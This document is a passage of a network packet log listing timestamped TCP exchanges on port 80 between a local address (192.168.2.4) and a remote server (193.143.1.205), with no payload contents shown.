Jan 11, 2025 02:12:43.136046886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.136056900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.136087894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.154511929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.154525042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.154537916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.154599905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.154639006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.154653072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.154664993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.154680014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.154683113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.154701948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.154746056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.154757977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.154771090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.154807091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.154807091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.154933929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.154946089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.154957056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.154969931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.154990911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.155014992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.155052900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.155145884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.155157089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.155169010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.155179977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.155180931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.155191898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.155204058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.155210972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.155231953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.155515909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.155528069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.155539036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.155550957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.155558109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.155563116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.155571938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.155579090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.155584097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.155596018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.155627966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.155869961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.155889034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.155900002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.155909061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.155913115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.155925035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.155936003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.155937910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.155949116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.155958891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.155960083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.155988932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.156387091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.156399012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.156411886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.156424046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.156435013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.156446934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.156457901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.156461954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.156470060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.156481981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.156492949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.156505108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.156507969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.156516075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.156527042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.156527996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.156538963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.156550884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.156552076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.156578064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.156593084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.157155037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.157167912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.157177925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.157190084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.157202005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.157213926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.157222033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.157227039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.157238960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.157248974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.157252073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.157263041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.157272100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.157274961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.157285929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.157296896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.157310009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.157314062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.157322884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.157334089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.157342911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.157360077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.157377005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.170914888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.170941114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.170952082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.170989990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.171019077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.171035051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.171052933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.171130896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.171144009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.171155930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.171168089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.171196938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.171353102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.171365976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.171402931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.171436071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.171447039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.171458960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.171483040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.171546936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.171590090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.171641111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.171657085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.171668053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.171679974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.171689987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.171693087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.171726942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.171880007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.171891928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.171915054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.192356110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.192455053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.192466021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.192466974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.192481041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.192501068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.192533016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.192544937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.192557096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.192569971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.192590952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.209914923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.209944010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.209956884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.210079908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.210093975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.210105896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.210108995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.210130930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.210148096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.210270882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.210282087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.210325956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.210371971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.210382938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.210396051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.210407972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.210417986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.210421085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.210433006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.210443974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.210472107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.215148926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.226604939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.226672888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.226684093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.226727009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.226738930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.226751089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.226751089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.226788998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.226799965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.226852894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245111942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245131016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245142937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245152950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245163918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245174885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245202065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245218039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.245270967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245273113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.245281935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245292902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245304108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245312929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.245349884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.245469093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245480061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245491982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245517015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.245564938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245575905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245587111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245599985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.245621920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.245640993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245652914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245696068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.245743990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245754957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245764971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245789051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.245850086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245861053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245872974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245882034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.245913029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.245976925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.245987892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.246021032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.246093988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.246104956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.246115923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.246125937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.246136904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.246143103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.246146917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.246159077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.246166945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.246192932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.246360064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.246376991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.246388912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.246397018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.246400118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.246412992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.246423960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.246426105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.246436119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.246444941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.246476889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.246648073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.246659040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.246675014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.246686935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.246696949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.246702909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.246709108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.246720076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.246721983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.246757984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.246918917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.246931076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.246952057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.247108936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.247121096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.247131109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.247143030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.247143030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.247154951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.247164965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.247165918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.247175932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.247186899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.247198105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.247200012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.247209072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.247221947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.247225046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.247232914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.247245073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.247246981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.247267008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.247284889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.247591972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.247602940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.247620106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.247632027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.247637987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.247642994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.247653961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.247664928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.247668982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.247677088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.247687101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.247688055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.247720957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.261677980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.261703014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.261713028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.261779070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.261782885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.261795044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.261816025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.261848927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.261893034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.261920929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.261955023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.262017012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.262027979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.262038946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.262052059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.262058973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.262197018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.262202024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.262299061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.262310028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.262320995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.262331963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.262336016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.262343884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.262355089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.262366056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.262372971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.262429953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.262655973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.262666941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.262680054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.262718916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.300513983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.300542116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.300553083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.300617933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.300631046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.300648928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.300697088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.300709963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.300779104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.300790071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.300801992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.300813913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.300841093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.301000118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.301011086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.301022053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.301034927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.301042080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.301047087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.301069975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.301182032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.301197052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.301223040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.317332029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.317348003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.317358971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.317416906 CET	80	49730	193.143.1.205	192.168.2.4
